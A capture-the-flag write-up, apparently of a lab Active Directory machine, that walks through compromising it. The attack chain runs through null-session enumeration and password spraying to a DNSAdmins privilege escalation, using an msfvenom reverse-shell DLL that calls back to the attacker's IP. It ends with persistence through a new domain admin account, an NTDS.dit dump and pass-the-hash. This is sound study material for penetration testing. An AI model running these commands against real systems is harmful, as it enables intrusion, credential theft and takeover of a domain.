Information Gathering
Rustscan
Based on the ports open, I can tell this machine is running on Active Directory.
Enumeration
SMB - TCP 445
I tried anonymous login to SMB but it wasn’t successful:
smbclient -N -L //10.10.10.169
Running crackmapexec, I discovered domain name megabank.local → Added to /etc/hosts
DNS - UDP/TCP 53
Using dig, I can confirm that megabank.local exists:
dig @10.10.10.169 megabank.local
I tried zone trasnfer but it failed:
dig axfr @10.10.10.169
LDAP - TCP 389/3268
I already know the domain name but I still queried for base namingcontexts: DC=megabank,DC=local
ldapsearch -H ldap://10.10.10.169 -x -s base namingcontexts
I tried null binding and luckily it worked!
ldapsearch -H ldap://10.10.10.169 -x -b "DC=megabank,DC=local"
However, output was too long so I first saved it to xp-bind.txt to be analyzed later:
ldapsearch -H ldap://10.10.10.169 -x -b "DC=megabank,DC=local" > xb-bind.txt
Analyzing LDAP outcome
Looking at the output, it was 6832 lines.
I used the command below to analyze the data, narrowing it down to 279 lines:
cat xb-bind.txt | awk '{print $1}' | sort | uniq -c | sort -nr > xb-bind-sorted.txt
I thoroughly went through the data but nothing useful was found other than sAMAccountName
cat xb-bind.txt| grep -i 'samaccountname' | awk '{print $2}'
With the command below, I created list of sAMAccountNames:
Now that I have list of account names, I was thinking of attempting on AS-REP Roasting if nothing else shows up on further enumeration.
RPC - TCP 135
I tried null login on RPC and luckily it worked:
rpcclient -U "" -N 10.10.10.169
Querying querydispinfo, I found a note saying Marko Novak has a password of Welcome123!:
querydispinfo
With this information, I can move on to password spraying rather than AS-REP Roasting.
Shell as melanie
Password Spraying
Knowing from above sAMAccountName that Marko Novak has account name as marko, I tried authenticating with the found password but it didn’t worked:
crackmapexec smb 10.10.10.169 -u marko -p Welcome123!
Since it failed, I tried on password spraying:
crackmapexec smb 10.10.10.169 -u sAMAccountNames.txt -p Welcome123!
After some time I found a valid match: melanie:Welcome123!
Checking Access
User melanie had access to smb:
crackmapexec smb 10.10.10.169 -u melanie -p Welcome123!
User melanie also had access to winrm:
crackmapexec winrm 10.10.10.169 -u melanie -p Welcome123!
Evil-Winrm
Now I have my first shell as user melanie!:
evil-winrm -i 10.10.10.169 -u melanie -p Welcome123!
Privesc melanie to ryan
Bloodhound
Since I know this machine is running on Active Directory, I first decided to run Bloodhound.
I first moved SharpHound.exe to my current folder and uploaded to evil-winrm connection:
upload SharpHound.exe
Running SharpHound.exe, I get a zip file which I can download to import it to Bloodhound.
./SharpHound.exe
With the zip file downloaded, I started neo4j and Bloodhound:
I drag&drop the zip file in to bloodhound and first marked user melanie as owned.
As I always do, I first checked on OUTBOUND OBJECT CONTROL for user melanie but there was nothing:
Next I checked for Shortest Path from Owned Principal but it seemed not very interesting:
After looking around more, I decided user melanie has no Active Directory related privilege escalation vulnerabilities found → Local Enumeration!
Local Enumeration
Listing all the directories including hiddne ones on C:, I discovered PSTranscipts directory which I don’t usually see on other Windows systems:
gci -force
Looking inside, I discovered 2019103 folder and in there was PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt:
type PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt
Looking through the txt file, It seemed that it is revealing password for user ryan: Serv3r4Admin4cc123!
Evil-Winrm
Now I have a shell connection as user ryan:
sudo evil-winrm -i 10.10.10.169 -u ryan -p Serv3r4Admin4cc123!
Privesc ryan to Administrator
Bloodhound
Again uploaded and ran SharpHound.exe, downloaded the zip file and imported it into bloodhound:
I can see that ryan is a member of contractors group:
Checking on OUTBOUND OBJECT CONTROL for contractors, there was one:
It seemed that contractors is a member of DNSAdmins group:
DNSAdmins Privilege Escalation
Searching for DNSAdmin Privilege Escalation, I had lot of articles popping up:
Out of all the articles, this article by hacking articles was the one that I found it most useful.
Execution
I first need to check whether user ryan is actually in DNSAdmins group; and yes, he is in DNSAdmins group:
whoami /groups
I created dll file that will spawn me reverse shell using msfvenom:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.18 LPORT=443 -f dll -o rev.dll
There are several ways to transfer file to the target system but there is a possibility that malware scanner or Windows Defender might detect and remove it. Therefore, I used smbserver to transfer file over the network.
Now I host smbserver to have the dll file ready on it:
smbserver.py s .
Using dnscmd.exe, I can pass the dll code into the memory as SYSTEM:
dnscmd.exe /config /serverlevelplugindll \\10.10.14.18\s\rev.dll
Now only thing I have to do is to restart DNS:
sc.exe \\resolute stop dns
sc.exe \\resolute start dns
Now on my local listener, I have shell as the system:
nc -lvnp 443
Beyond Root
Above connection is a shell, but it is annoying to reproduce this procedure every time whenever needing a shell as SYSTEM. Below are some methods to maintain persistence within the system.
Adding Domain Admin User
I can simply create a new user and add the user in Domain Admins group as such:
Now with evil-winrm, I can sign in as the created user:
Dumping NTDS.dit
I can dump NTDS.dit to obtain hashes for users and pass those hashes to gain connection to the machine.
Below command dumps SECURITY, SYSTEM, and NTDS.dit file to Temp folder which could be downloaded to dump password hashes:
powershell "ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\temp' q q"
On /Temp/registry, I have SECURITY and SYSTEM file which I download to local machine:
On /Temp/Active-Directory, I have NTDS.dit file which I download to local machine as well:
Now with secretsdump, I can obtain bunch of password hashes:
root@~/tools/mitre/ntds# /usr/bin/impacket-secretsdump -system SYSTEM -security SECURITY -ntds ntds.dit local
I can try to crack these hashes, but it is not necessary. I can pass the NT part of the hashes to gain shell connection:
Here are more steps you can follow once you obtain hash for Administrator.
References
- https://viperone.gitbook.io/pentest-everything/everything/everything-active-directory/privilege-escalation/dnsadmin
- https://www.hackingarticles.in/windows-privilege-escalation-dnsadmins-to-domainadmin/
- https://www.ired.team/offensive-security/credential-access-and-credential-dumping/ntds.dit-enumeration
- https://viperone.gitbook.io/pentest-everything/everything/everything-active-directory/lateral-movement/alternate-authentication-material/wip-pass-the-hash